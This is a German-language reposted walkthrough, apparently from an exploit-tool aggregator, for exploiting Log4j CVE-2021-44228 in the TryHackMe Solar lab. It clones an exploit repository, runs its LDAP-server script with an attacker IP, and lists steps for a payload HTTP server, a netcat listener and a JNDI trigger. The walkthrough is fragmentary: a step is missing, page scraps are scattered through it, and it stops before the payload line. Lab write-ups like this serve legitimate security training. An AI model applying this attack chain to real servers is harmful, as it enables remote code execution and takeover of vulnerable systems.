log4j — Automatisierte Ausnutzung von Log4j CVE-2021-44228 mit LDAP-Server und Payload-Kompilierung, einschließlich Schritt-für-Schritt-Anleitung für die TryHackMe-Solar-Challenge. | Kitploit

💻 -h3x0v3rl0rd-

Ausnutzen von log4j CVE-2021-44228 (TryHackMe Solar, Walkthrough)

git clone https://github.com/n3rdh4x0r/log4j.git

1. log4j.py ausführen (Dies installiert alle notwendigen Anwendungen und startet den LDAP-Server)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. Angreifer-IP zur Datei Exploit.java hinzufügen

2021-12-19_00-52

log4j

Beliebteste

4. Temporärer HTTP-Server

5. Netcat-Listener

6. Schließlich müssen wir nur noch den Exploit auslösen und unsere JNDI-Syntax abfeuern! Beachte die Änderungen bei der Portnummer (die sich nun auf unseren LDAP-Server bezieht) und der abgerufenen Ressource, die unseren Exploit angibt: